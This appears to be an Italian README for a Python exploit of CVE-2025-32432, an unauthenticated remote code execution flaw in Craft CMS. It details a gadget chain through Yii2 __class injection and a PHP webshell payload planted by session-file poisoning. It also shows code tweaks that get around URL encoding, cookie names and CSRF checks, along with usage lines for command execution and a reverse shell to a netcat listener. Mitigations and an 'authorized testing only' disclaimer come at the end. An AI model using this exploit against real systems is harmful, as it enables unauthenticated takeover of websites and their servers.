e5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432Exploit Python per CVE-2025-32432, un RCE non autenticato in Craft CMS tramite Yii2 __class injection, con esecuzione di comandi e supporto reverse shell.
Gravità: Critica (CVSS 10.0) Autenticazione richiesta: Nessuna Affetto: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Corretto in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
AssetsController::actionGenerateTransform() è dichiarato allowAnonymous, rendendolo raggiungibile senza autenticazione. Passa il parametro handle controllato dall'utente direttamente in Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Il container DI di Yii tratta due chiavi di array speciali senza alcuna allow-list:
| Chiave | Comportamento |
|---|---|
__class | Istanzia questa classe invece del tipo dichiarato |
__construct() | Passa questi valori come argomenti del costruttore |
Catena di gadget:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
L'avvelenamento del file di sessione chiude il cerchio: il gestore di sessione di PHP scrive i valori dei parametri GET testualmente in /tmp/sess_<CraftSessionId>. Inviando <?=shell_exec($_GET['cmd']);exit;?> come parametro di query si pianta PHP eseguibile in un percorso noto e controllato dall'attaccante.
La libreria requests di Python codifica in URL <, >, ?, = prima che raggiungano il server. Il file di sessione memorizza %3C%3Fphp... (innocuo) invece di <?php... (eseguibile).
# ROTTO — requests codifica < > ? = prima che raggiungano il server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";
Correzione: Effettuare il monkey-patch di HTTPConnectionPool._make_request — il punto finale prima della scrittura sul socket TCP — e chiamare urllib.parse.unquote() lì:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # ripristina < > ? = appena prima dell'invio
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
Craft CMS imposta CraftSessionId, non PHPSESSID.
# ROTTO
session_id = session.cookies.get("PHPSESSID") # -> None
# CORRETTO
session_id = sess.cookies.get("CraftSessionId")
Craft convalida i token CSRF su tutte le azioni POST non anonime. Omettere il token causa 400 Bad Request.
# ROTTO
requests.post(url, json=payload)
# CORRETTO
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| Problema | PoC di log-poisoning | Sessione (cookie errato) | Sessione (senza CSRF) | Questo PoC |
|---|---|---|---|---|
| Codifica URL | N/A (User-Agent) | ROTTO | ROTTO | CORRETTO con monkey-patch |
| Nome cookie | N/A | ROTTO PHPSESSID | ROTTO PHPSESSID | CORRETTO CraftSessionId |
| CSRF sul trigger | OK | OK | ROTTO | CORRETTO |
| Uscita log obsoleto; | ROTTO | N/A | N/A | N/A |
| Funziona sul prefisso /cms | ROTTO | ROTTO | ROTTO | CORRETTO |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL URL di base di Craft CMS incluso il prefisso del percorso
-c CMD Comando shell da eseguire
-a ASSET_ID assetId valido noto (salta la scansione automatica)
-s SCAN_MAX Limite superiore per la scansione di assetId (predefinito: 50)
--revshell Invia una reverse shell PHP
--lhost LHOST IP del listener (richiesto con --revshell)
--lport LPORT Porta del listener (richiesta con --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (PHP evita problemi di quoting di bash)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| Azione | Dettaglio |
|---|---|
| Aggiornare Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 convalida che handle implementi ImageTransformerInterface |
| Aggiornare Yii2 | 2.0.50 blocca l'iniezione di __class in Component::__set |
| Regola WAF | Bloccare __class o __construct() nel corpo della richiesta verso /actions/assets/generate-transform |
Solo per test di sicurezza autorizzati e scopi educativi.